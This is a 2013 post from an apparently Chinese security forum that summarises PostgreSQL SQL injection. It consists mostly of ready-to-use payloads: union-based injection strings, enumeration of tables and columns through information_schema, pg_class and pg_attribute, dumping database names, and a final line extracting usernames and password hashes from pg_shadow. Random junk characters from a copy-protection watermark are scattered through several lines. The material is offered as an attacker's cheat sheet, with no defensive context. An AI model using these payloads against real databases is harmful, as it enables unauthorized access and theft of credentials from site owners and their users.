找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2150|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
8 r! `9 E9 [7 B" G$ h- N

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/$ l: K" z) J) k! w& E
连接符: %20 , + , /**/

内置函数:8 O& E' S' m! F7 [9 Y4 [) }$ g
current_database() //当前数据库名$ t* L! d5 E- z: [4 }4 Z  `# N
session_user //会话用户# c& E( }& ]3 `6 W' d+ U5 R
current_user //当前数据库用户
( l! _! c' }, C% l5 l& `  N( Ouser //当前用户
6 \; A+ |& V/ e6 uversion() //数据库版本

Union注射:* R4 W0 g7 @; |4 d7 y! Q
order by n–
4 r: \3 v) @: W, Fand 1=2 union select null,null,null–
% A* x. U) m( s) S& I2 P) Rand 1=2 union select ‘beach’,null,null–
2 `" ?) M4 Z- W9 land 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):% O5 t' s* T. P4 h/ K7 x- f
group_concat(table_name)
- y- m6 e% b! s7 D; J# Rand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
( o( i7 O! C; _. t. Fand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–0 y: m/ R4 C" L' z6 a+ `
(老版本)4 n6 f6 R$ \1 N6 j# b  M
pg_class.oid对应pg_attribute.attrelid: h7 ]2 n" s( H8 n- Q
pg_class.relname表名
' e  P' Y& x/ i( N& }pg_attribute.attname字段名

select relname from pg_class获取表名
, Q- z" p% w9 x1 Y$ tselect oid from pg_class where 条件 获取参数5 M% A9 ]% J4 ~% |. h1 [
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
. W& W! U  c( _and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
* W" }4 ~7 _8 y; r4 v  kand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–5 u- G- C& J! u2 |" H
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名4 g, g1 g( a0 C- r% `
======================================================================1 I; w# ~( l+ O7 u# N! B
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库; \& j+ \. C4 d3 I& |
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表